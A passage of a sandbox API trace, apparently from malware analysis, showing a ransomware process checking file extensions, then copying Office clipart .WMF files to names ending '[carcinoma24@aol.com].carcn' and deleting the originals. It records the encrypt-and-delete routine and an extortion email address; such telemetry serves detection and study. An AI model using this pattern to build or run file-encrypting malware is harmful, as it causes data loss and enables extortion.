lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0277.774] lstrlenW (lpString=".bz2") returned 4 [0277.774] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0277.774] lstrlenW (lpString=".7z") returned 3 [0277.774] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0277.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0277.774] lstrlenW (lpString=".dbf") returned 4 [0277.774] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0277.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0277.775] lstrlenW (lpString=".1cd") returned 4 [0277.775] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0277.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0277.775] lstrlenW (lpString=".jpg") returned 4 [0277.775] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0277.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0277.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0277.775] lstrlenW (lpString=".doc") returned 4 [0277.775] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0277.775] lstrlenW (lpString=".docx") returned 5 [0277.775] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0277.775] lstrlenW (lpString=".pdf") returned 4 [0277.775] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0277.775] lstrlenW (lpString=".xls") returned 4 [0277.775] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0277.775] lstrlenW (lpString=".xlsx") returned 5 [0277.775] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0277.775] lstrlenW (lpString=".ppt") returned 4 [0277.775] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0277.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0277.775] lstrlenW (lpString=".zip") returned 4 [0277.775] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0277.775] lstrlenW (lpString=".rar") returned 4 [0277.775] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0277.775] lstrlenW (lpString=".bz2") returned 4 [0277.776] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0277.776] lstrlenW (lpString=".7z") returned 3 [0277.776] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0277.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0277.776] lstrlenW (lpString=".dbf") returned 4 [0277.776] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0277.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0277.776] lstrlenW (lpString=".1cd") returned 4 [0277.776] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0277.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0277.776] lstrlenW (lpString=".jpg") returned 4 [0277.776] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0277.776] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0277.777] lstrlenW (lpString="DD01183_.WMF") returned 12 [0277.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0277.778] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=2296) returned 1 [0277.778] CloseHandle (hObject=0x54c) returned 1 [0277.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf")) returned 0x220 [0277.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0277.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0277.778] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.779] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0277.780] GetLastError () returned 0x0 [0277.780] ReadFile (in: hFile=0x54c, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x8f8, lpOverlapped=0x0) returned 1 [0277.837] WriteFile (in: hFile=0x540, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x900, lpOverlapped=0x0) returned 1 [0277.838] ReadFile (in: hFile=0x54c, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0277.839] WriteFile (in: hFile=0x540, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0277.839] SetEndOfFile (hFile=0x540) returned 1 [0277.839] CloseHandle (hObject=0x540) returned 1 [0277.839] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.839] SetEndOfFile (hFile=0x54c) returned 1 [0277.846] CloseHandle (hObject=0x54c) returned 1 [0277.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0277.847] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf")) returned 1 [0277.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0277.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0277.848] lstrlenW (lpString=".doc") returned 4 [0277.848] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0277.848] lstrlenW (lpString=".docx") returned 5 [0277.848] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0277.848] lstrlenW (lpString=".pdf") returned 4 [0277.848] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0277.848] lstrlenW (lpString=".xls") returned 4 [0277.848] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0277.849] lstrlenW (lpString=".xlsx") returned 5 [0277.849] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0277.849] lstrlenW (lpString=".ppt") returned 4 [0277.849] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0277.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0277.849] lstrlenW (lpString=".zip") returned 4 [0277.849] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0277.849] lstrlenW (lpString=".rar") returned 4 [0277.849] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0277.849] lstrlenW (lpString=".bz2") returned 4 [0277.849] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0277.849] lstrlenW (lpString=".7z") returned 3 [0277.849] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0277.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0277.849] lstrlenW (lpString=".dbf") returned 4 [0277.849] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0277.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0277.849] lstrlenW (lpString=".1cd") returned 4 [0277.849] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0277.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0277.849] lstrlenW (lpString=".jpg") returned 4 [0277.849] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0277.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0277.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0277.850] lstrlenW (lpString=".doc") returned 4 [0277.850] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0277.850] lstrlenW (lpString=".docx") returned 5 [0277.850] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0277.850] lstrlenW (lpString=".pdf") returned 4 [0277.850] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0277.850] lstrlenW (lpString=".xls") returned 4 [0277.850] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0277.850] lstrlenW (lpString=".xlsx") returned 5 [0277.850] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0277.850] lstrlenW (lpString=".ppt") returned 4 [0277.850] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0277.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0277.850] lstrlenW (lpString=".zip") returned 4 [0277.850] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0277.850] lstrlenW (lpString=".rar") returned 4 [0277.850] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0277.850] lstrlenW (lpString=".bz2") returned 4 [0277.850] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0277.850] lstrlenW (lpString=".7z") returned 3 [0277.851] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0277.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0277.851] lstrlenW (lpString=".dbf") returned 4 [0277.851] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0277.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0277.851] lstrlenW (lpString=".1cd") returned 4 [0277.851] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0277.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0277.851] lstrlenW (lpString=".jpg") returned 4 [0277.851] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0277.851] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0277.851] lstrlenW (lpString="DD01186_.WMF") returned 12 [0277.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0277.852] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=8564) returned 1 [0277.852] CloseHandle (hObject=0x54c) returned 1 [0277.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf")) returned 0x220 [0277.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0277.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0277.853] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.853] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0277.854] GetLastError () returned 0x0 [0277.854] ReadFile (in: hFile=0x54c, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x2174, lpOverlapped=0x0) returned 1 [0277.976] WriteFile (in: hFile=0x540, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x2180, lpOverlapped=0x0) returned 1 [0277.980] ReadFile (in: hFile=0x54c, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0277.980] WriteFile (in: hFile=0x540, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0277.980] SetEndOfFile (hFile=0x540) returned 1 [0277.985] CloseHandle (hObject=0x540) returned 1 [0277.985] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.985] SetEndOfFile (hFile=0x54c) returned 1 [0277.989] CloseHandle (hObject=0x54c) returned 1 [0277.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0277.990] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf")) returned 1 [0277.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0277.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0277.991] lstrlenW (lpString=".doc") returned 4 [0277.991] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0277.991] lstrlenW (lpString=".docx") returned 5 [0277.991] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0277.991] lstrlenW (lpString=".pdf") returned 4 [0277.991] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0277.991] lstrlenW (lpString=".xls") returned 4 [0277.991] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0277.991] lstrlenW (lpString=".xlsx") returned 5 [0277.992] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0277.992] lstrlenW (lpString=".ppt") returned 4 [0277.992] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0277.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0277.992] lstrlenW (lpString=".zip") returned 4 [0277.992] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0277.992] lstrlenW (lpString=".rar") returned 4 [0277.992] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0277.992] lstrlenW (lpString=".bz2") returned 4 [0277.992] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0277.992] lstrlenW (lpString=".7z") returned 3 [0277.992] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0277.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0277.992] lstrlenW (lpString=".dbf") returned 4 [0277.992] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0277.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0277.992] lstrlenW (lpString=".1cd") returned 4 [0277.992] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0277.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0277.992] lstrlenW (lpString=".jpg") returned 4 [0277.992] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0277.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0277.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0277.993] lstrlenW (lpString=".doc") returned 4 [0277.993] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0277.993] lstrlenW (lpString=".docx") returned 5 [0277.993] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0277.993] lstrlenW (lpString=".pdf") returned 4 [0277.993] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0277.993] lstrlenW (lpString=".xls") returned 4 [0277.993] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0277.993] lstrlenW (lpString=".xlsx") returned 5 [0277.993] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0277.993] lstrlenW (lpString=".ppt") returned 4 [0277.993] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0277.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0277.993] lstrlenW (lpString=".zip") returned 4 [0277.993] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0277.993] lstrlenW (lpString=".rar") returned 4 [0277.993] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0277.993] lstrlenW (lpString=".bz2") returned 4 [0277.993] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0277.993] lstrlenW (lpString=".7z") returned 3 [0277.994] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0277.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0277.994] lstrlenW (lpString=".dbf") returned 4 [0277.994] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0277.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0277.994] lstrlenW (lpString=".1cd") returned 4 [0277.994] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0277.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0277.994] lstrlenW (lpString=".jpg") returned 4 [0277.994] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0277.994] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0277.994] lstrlenW (lpString="DD01434_.WMF") returned 12 [0277.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0277.997] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=900) returned 1 [0277.997] CloseHandle (hObject=0x54c) returned 1 [0277.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf")) returned 0x220 [0277.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0277.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0277.998] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.998] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0277.999] GetLastError () returned 0x0 [0277.999] ReadFile (in: hFile=0x54c, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x384, lpOverlapped=0x0) returned 1 [0278.089] WriteFile (in: hFile=0x540, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x390, lpOverlapped=0x0) returned 1 [0278.095] ReadFile (in: hFile=0x54c, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0278.096] WriteFile (in: hFile=0x540, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0278.096] SetEndOfFile (hFile=0x540) returned 1 [0278.096] CloseHandle (hObject=0x540) returned 1 [0278.096] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.096] SetEndOfFile (hFile=0x54c) returned 1 [0278.144] CloseHandle (hObject=0x54c) returned 1 [0278.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0278.147] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf")) returned 1 [0278.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0278.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0278.150] lstrlenW (lpString=".doc") returned 4 [0278.150] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0278.150] lstrlenW (lpString=".docx") returned 5 [0278.150] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0278.150] lstrlenW (lpString=".pdf") returned 4 [0278.150] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0278.150] lstrlenW (lpString=".xls") returned 4 [0278.150] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0278.150] lstrlenW (lpString=".xlsx") returned 5 [0278.150] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0278.150] lstrlenW (lpString=".ppt") returned 4 [0278.150] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0278.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0278.150] lstrlenW (lpString=".zip") returned 4 [0278.150] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0278.150] lstrlenW (lpString=".rar") returned 4 [0278.150] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0278.150] lstrlenW (lpString=".bz2") returned 4 [0278.150] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0278.150] lstrlenW (lpString=".7z") returned 3 [0278.150] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0278.150] lstrlenW (lpString="C:\\Program Files\\Microsoft 